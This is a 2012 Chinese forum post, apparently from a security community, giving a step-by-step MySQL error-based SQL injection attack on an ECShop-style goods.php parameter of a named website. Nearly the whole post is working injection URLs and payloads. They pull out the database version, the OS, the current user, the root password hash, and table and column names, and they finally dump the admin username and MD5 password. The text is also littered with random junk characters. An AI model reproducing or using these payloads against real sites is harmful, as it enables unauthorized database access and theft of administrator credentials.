找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2071|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 ( t: a8 s$ B: a% r( p: E" k# Z1 Y
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 C* }* \  L$ e* x

3 S: r7 T( I6 T) ^3 U8 m4 U判断系统2 I+ M9 a" [, [# r9 t8 `6 e

$ ^) P5 ]1 @' `! v. M8 khttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
3 p. B( Y7 B8 f6 ~9 X3 p" G; y1 _
7 H( Z( Z" @; t$ B. Z% F* ^/ y& Z  S
( p4 `: n6 M  a8 D# z1 P
) x+ V  Z8 s, O+ Y9 L: T当前 user()
  m+ D8 ]3 R* S2 B  s/ Y9 T6 u6 G$ A/ y3 ^& b* V
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* @8 H& A! z1 c( e' R; G' O4 b/ Y8 D

4 s$ T% i+ N+ r% K" B3 y7 s4 W/ m5 W/ ^! `+ F9 j

5 Y& ?* T! |3 D/ X" Q8 \6 \当前 database()4 W# u' ^: o. s$ X; s( B
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23, f3 z' `: @1 v) W/ {

9 H) D% M8 z& G/ K. o8 j0 T% F: w! F' {# o! F- ?6 H- K+ C

& c* K% J3 t/ t5 I" c* R6 d  h7 B
) z$ _- [* x# O% r" W; g- w; Proot hash9 u' L7 [1 R1 s0 f% B/ V

4 M# S; O1 o) X8 D- Y  Y& yhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
. l9 K! j" d0 l2 ]& N* X$ I; a/ M& n, \* y; F5 ]

2 e" U0 C, q+ X3 f% x# h1 c- F! k$ c
: n! U9 A* T7 u) K当前 数据库表名; B; L* J* K" ]7 Z9 f) e) s

; Q& {& L; h$ L& U8 s( Q4 c% rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 e* G( x* v* f0 R7 ?0 \9 Q
2 D1 ?5 h* v9 B& Y) @
: R( p3 M4 H' m$ S2 q: p# U3 s3 o  `
+ b( P# a1 l6 y# U4 Q当前 数据库 user_name 字段
( Z1 t2 [9 j" a, M# M3 ]
" y* j* f2 y- N( n$ Bhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
) t8 k2 V- g; C6 f6 c
( F% g1 V2 V; r& F3 Q当前 数据库 字段 password! O% @" F0 e) t% E9 {. k' r
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
; C  F$ q7 b8 Q) W4 v
! g0 G' Z. n' c$ n, z& G5 L/ y! T7 v, M8 j, g$ ?0 P$ Z- P

* @! Q5 y% N# j7 e% Y0 Q; U获得 admin passwd(md5)8 \' V% h( S7 N' Z; H3 h

2 L( Y' G$ {4 u0 q
3 I- k, u  M8 f, ?5 rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, x" |6 g/ v9 e& B  c# P# @
5 B& w4 ~( [. q+ e0 }报错注射  C3 v/ ]* j! a5 t
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a), x& H8 ~% x4 y# }+ u$ O

6 Y7 J0 E# y- O' x! bSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
$ G4 n* M) {/ ]" m2 D! V, Q" C. F1 t) u' O; a5 d" T
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表